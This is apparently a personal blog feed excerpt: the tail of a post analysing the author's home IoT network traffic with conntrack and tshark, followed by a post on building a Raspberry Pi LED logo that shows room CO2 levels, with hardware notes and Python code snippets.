    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
    INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttps://blog.alipour.eu/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

